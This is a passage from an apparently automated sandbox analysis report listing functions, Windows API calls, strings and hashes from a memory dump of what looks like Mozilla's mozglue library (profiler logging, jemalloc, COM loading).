GetCurrentThreadId.KERNEL32 ref: 6C91F637
AcquireSRWLockExclusive.KERNEL32(6C95F4B8,?,?,00000000,?,6C91F598), ref: 6C91F645
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8,?,?,00000000,?,6C91F598), ref: 6C91F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C91F62A

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 396a427b60ab7bc3898c0861d638eecbc19f2cf14c8d22536786478b023410c6
Instruction ID: 6f1af72b509a5f46c6845eb4e7b74e3b056e58a073773814d0bfc139af2d5304
Opcode Fuzzy Hash: 396a427b60ab7bc3898c0861d638eecbc19f2cf14c8d22536786478b023410c6
Instruction Fuzzy Hash: A511A37530960CABCB04AF59D9499A5777DFB9636CBA40015EA0583F41CB72E825CBA0

Function 6C8E2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C90AB89: EnterCriticalSection.KERNEL32(6C95E370,?,?,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284), ref: 6C90AB94
Part of subcall function 6C90AB89: LeaveCriticalSection.KERNEL32(6C95E370,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C90ABD1

LoadLibraryW.KERNEL32(combase.dll,6C8E1C5F), ref: 6C8E20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C8E20CD
__Init_thread_footer.LIBCMT ref: 6C8E20E1
FreeLibrary.KERNEL32 ref: 6C8E2124

Strings

combase.dll, xrefs: 6C8E20A9
CoInitializeSecurity, xrefs: 6C8E20C7

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 410381834fe36c3dcda76be1cd796913c75a3b292fa30f62c0b28560cefbefa7
Instruction ID: 0f60c82892a2261d6cecefa883870c5297716f5bd8eacb80de41cc71f01d5ee8
Opcode Fuzzy Hash: 410381834fe36c3dcda76be1cd796913c75a3b292fa30f62c0b28560cefbefa7
Instruction Fuzzy Hash: 1C21BE3620820AEFDF20CF54DD48DAA3B76FB4A368F604418FA0492690C735D866CF90

Function 6C9199A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C9199C1
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C9199CE
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C9199F8
GetCurrentThreadId.KERNEL32 ref: 6C919A05
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C919A0D

Part of subcall function 6C919A60: GetCurrentThreadId.KERNEL32 ref: 6C919A95
Part of subcall function 6C919A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C919A9D
Part of subcall function 6C919A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C919ACC
Part of subcall function 6C919A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C919BA7
Part of subcall function 6C919A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C919BB8
Part of subcall function 6C919A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C919BC9

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

Strings

[I %d/%d] profiler_stream_json_for_this_process, xrefs: 6C919A15

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Current$ThreadTimegetenv$ExclusiveLockProcessStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@_
String ID: [I %d/%d] profiler_stream_json_for_this_process
API String ID: 2359002670-141131661
Opcode ID: 21a60fcffe534a61f107262348e132e605a5606e0661df52b05b1d7e64f392c9
Instruction ID: 32b130a83b1fed31cc1a598b233c9bee1d31dee02da2bc59f0f40bf529dbe4c2
Opcode Fuzzy Hash: 21a60fcffe534a61f107262348e132e605a5606e0661df52b05b1d7e64f392c9
Instruction Fuzzy Hash: F701DB7570C1289BDB006F2594096B637B8EB5226CFA64116ED4993F41C734C819C6B1

Function 6C8E1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C90AB89: EnterCriticalSection.KERNEL32(6C95E370,?,?,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284), ref: 6C90AB94
Part of subcall function 6C90AB89: LeaveCriticalSection.KERNEL32(6C95E370,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C90ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C8E1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C8E1FFD
__Init_thread_footer.LIBCMT ref: 6C8E2011
FreeLibrary.KERNEL32 ref: 6C8E2059

Strings

combase.dll, xrefs: 6C8E1FD9
CoCreateInstance, xrefs: 6C8E1FF7

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: b2b35d7b8eb313f905f8ba072d4973ababcd3ed3fa7a7b6575aa9f763825f956
Instruction ID: 4d925fcb58df88908bfe6b6b025d0ac5938aee27916cdf8af442171abf13746a
Opcode Fuzzy Hash: b2b35d7b8eb313f905f8ba072d4973ababcd3ed3fa7a7b6575aa9f763825f956
Instruction Fuzzy Hash: 70114975709205EFEF20DF15CD4CEAA3B79EB8B369F604429E90592680D735D812CFA1

Function 6C939B50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

??KDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?), ref: 6C939B74
?ceil@Decimal@blink@@QBE?AV12@XZ.MOZGLUE ref: 6C939BBA
?floor@Decimal@blink@@QBE?AV12@XZ.MOZGLUE ref: 6C939BC8
??DDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?), ref: 6C939BD7
??GDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?,?,?), ref: 6C939BE0

Strings

KpT{/, xrefs: 6C939B61

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Decimal@blink@@$V01@V01@@$V12@$?ceil@?floor@
String ID: KpT{/
API String ID: 2380687156-2391877073
Opcode ID: 12b817437905cba91f84e1e923ebb5d4b77dec3051af08c457f4323373bcf55b
Instruction ID: 02c626bdd00fea025dda302221d36aee554c4263e49e846c6df21d6cacc6c346
Opcode Fuzzy Hash: 12b817437905cba91f84e1e923ebb5d4b77dec3051af08c457f4323373bcf55b
Instruction Fuzzy Hash: E0118232618758A7C7009F688C4089FB7BCFFE6364F406A0EF99A4A640DF31D548C792

Function 6C8E0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C90AB89: EnterCriticalSection.KERNEL32(6C95E370,?,?,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284), ref: 6C90AB94
Part of subcall function 6C90AB89: LeaveCriticalSection.KERNEL32(6C95E370,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C90ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C90D9F0,00000000), ref: 6C8E0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C8E0F3C
__Init_thread_footer.LIBCMT ref: 6C8E0F50
FreeLibrary.KERNEL32(?,6C90D9F0,00000000), ref: 6C8E0F86

Strings

CoInitializeEx, xrefs: 6C8E0F36
combase.dll, xrefs: 6C8E0F18

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 14198166d236aafb7ea204465f079ecb6f9195e49a4ec28c8050f293928ce74f
Instruction ID: da16e69a536b9706d100e0dbef57bc0f2f08a39d6b6d038c24b4b7d1d097bd5b
Opcode Fuzzy Hash: 14198166d236aafb7ea204465f079ecb6f9195e49a4ec28c8050f293928ce74f
Instruction Fuzzy Hash: CF11C2757092409BDF10CF54CA08E663774FB8B339FA44A29E90593784DB30E416CA95

Function 6C8E62E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C90AB89: EnterCriticalSection.KERNEL32(6C95E370,?,?,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284), ref: 6C90AB94
Part of subcall function 6C90AB89: LeaveCriticalSection.KERNEL32(6C95E370,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C90ABD1

LoadLibraryW.KERNEL32(combase.dll), ref: 6C8E631B
GetProcAddress.KERNEL32(00000000,CoUninitialize), ref: 6C8E633A
__Init_thread_footer.LIBCMT ref: 6C8E634E
FreeLibrary.KERNEL32 ref: 6C8E6376

Strings

combase.dll, xrefs: 6C8E6316
CoUninitialize, xrefs: 6C8E6334

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoUninitialize$combase.dll
API String ID: 4190559335-3846590027
Opcode ID: 1dfb0df26496f2c55d869d6d721da1243aecbf0ee1b083e01842acc2d4c7f7ef
Instruction ID: 094fe9143af3f1c9e88a74f946975292081483510f459bf15ad0d694ec1d336f
Opcode Fuzzy Hash: 1dfb0df26496f2c55d869d6d721da1243aecbf0ee1b083e01842acc2d4c7f7ef
Instruction Fuzzy Hash: 3F014C75709205CBEF10DF28D648A3877B1BB0B22CFB44529DA01C3A84D731E41ACE95

Function 6C91F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F561

Part of subcall function 6C9194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9194EE
Part of subcall function 6C9194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C919508

GetCurrentThreadId.KERNEL32 ref: 6C91F577
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F585
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F5A3

Strings

KpT{/, xrefs: 6C91F07C, 6C91F1BA, 6C91F32A, 6C91F41A
[I %d/%d] profiler_resume_sampling, xrefs: 6C91F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C91F56A
[I %d/%d] profiler_resume, xrefs: 6C91F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C91F3A8

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: KpT{/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2488460804
Opcode ID: b61ed59c41eab344a807710254e294649972499195ee448ba7883642f34f2066
Instruction ID: 5693a42f9b2cd7eff2eef90b4eb2e01d261f8eeb42d27f751516890107df3c19
Opcode Fuzzy Hash: b61ed59c41eab344a807710254e294649972499195ee448ba7883642f34f2066
Instruction Fuzzy Hash: 02F0B4753082089FDB00AF65984D96A77BDEB962ADFA40011EA09C3B01CB31C80487A0

Function 6C91F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C91F598), ref: 6C91F621

Part of subcall function 6C9194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9194EE
Part of subcall function 6C9194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C919508

GetCurrentThreadId.KERNEL32 ref: 6C91F637
AcquireSRWLockExclusive.KERNEL32(6C95F4B8,?,?,00000000,?,6C91F598), ref: 6C91F645
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8,?,?,00000000,?,6C91F598), ref: 6C91F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C91F62A

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: a7c0005a873d16481934fe33c5d6784bf1302a3a06bdc28cf8beb500f055ac0c
Instruction ID: 506b796caabedfa02ad049f908179fcd56dcc3ed8a99a9bfed84521359661352
Opcode Fuzzy Hash: a7c0005a873d16481934fe33c5d6784bf1302a3a06bdc28cf8beb500f055ac0c
Instruction Fuzzy Hash: 3CF05475308208AFDB006F65984D96A777DEB962ADFA40015EA0993B41CB76880587A5

Function 6C8E0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C8E0DF8), ref: 6C8E0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C8E0EA1
__Init_thread_footer.LIBCMT ref: 6C8E0EB5
FreeLibrary.KERNEL32 ref: 6C8E0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C8E0E9B
kernel32.dll, xrefs: 6C8E0E7D

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: f48585e2ad807812b02bb8056a726cdf03e11877c4cfebcf9bb48cbedf7d1f71
Instruction ID: 02f150b53357d33438ede8a9d64758c5f02f7c671e9882672be35901532b229c
Opcode Fuzzy Hash: f48585e2ad807812b02bb8056a726cdf03e11877c4cfebcf9bb48cbedf7d1f71
Instruction Fuzzy Hash: 6F014670B08282CFDF208FE8EA14A6237B5F74BB2CFA00929D91192B40DB35E418DA51

Function 6C9105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C90CFAE,?,?,?,6C8D31A7), ref: 6C9105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C90CFAE,?,?,?,6C8D31A7), ref: 6C910616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C8D31A7), ref: 6C91061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C8D31A7), ref: 6C910627

Strings

<jemalloc>, xrefs: 6C9105FA, 6C91060F
: (malloc) Error in VirtualFree(), xrefs: 6C91061B, 6C910625

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 89f610b40419c2ae6712c9d36f5abc9d4bf0f914fd0583918a8b69823a119f45
Instruction ID: 43b1a5755632186f98dd46b2999e47112640d18792269df3ef3a08b8aa332ca1
Opcode Fuzzy Hash: 89f610b40419c2ae6712c9d36f5abc9d4bf0f914fd0583918a8b69823a119f45
Instruction Fuzzy Hash: 17E08CE2A010103BF6142256AC86DBB761DDBD6138F080039FD0D82701E94AED1E52F6

Function 6C92DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C92DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C92D38A,?), ref: 6C92DC6F
free.MOZGLUE(?,?,?,?,?,6C92D38A,?), ref: 6C92DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C92D38A,?), ref: 6C92DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C92D38A,?), ref: 6C92DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C92D38A,?), ref: 6C92DD4A

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: c8addc0696855d61f6f1698708823df775e21513bfe6657b31618671b59aaff9
Instruction ID: b0e2ae601d785c295c78616cd0d9878a2526f847578073b4c51cf710c7ec911f
Opcode Fuzzy Hash: c8addc0696855d61f6f1698708823df775e21513bfe6657b31618671b59aaff9
Instruction Fuzzy Hash: 2B418BB6A00705CFCB04CF99C880A9ABBF5FF88314B654469D986ABB15D735FC00CB90

Function 6C920C90 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C920CD5

Part of subcall function 6C90F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C90F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C920D40
free.MOZGLUE ref: 6C920DCB

Part of subcall function 6C8F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8F5EDB
Part of subcall function 6C8F5E90: memset.VCRUNTIME140(6C937765,000000E5,55CCCCCC), ref: 6C8F5F27
Part of subcall function 6C8F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8F5FB2

free.MOZGLUE ref: 6C920DDD
free.MOZGLUE ref: 6C920DF2

Strings

KpT{/, xrefs: 6C920CA2

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID: KpT{/
API String ID: 4069420150-2391877073
Opcode ID: 2942c42086adf6fa272830ba7a1ff6dc6dd7014f5c331a0b6d3ddc3bf88b4044
Instruction ID: e960ae7929c5a63db5b7d870555dee3951dab7a7fda7de162b6ace3e7e2adf20
Opcode Fuzzy Hash: 2942c42086adf6fa272830ba7a1ff6dc6dd7014f5c331a0b6d3ddc3bf88b4044
Instruction Fuzzy Hash: 0A412571A197848BD320CF29C08079AFBE5BFD9754F509A2EE8D887710D774D445CB82

Function 6C910800 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

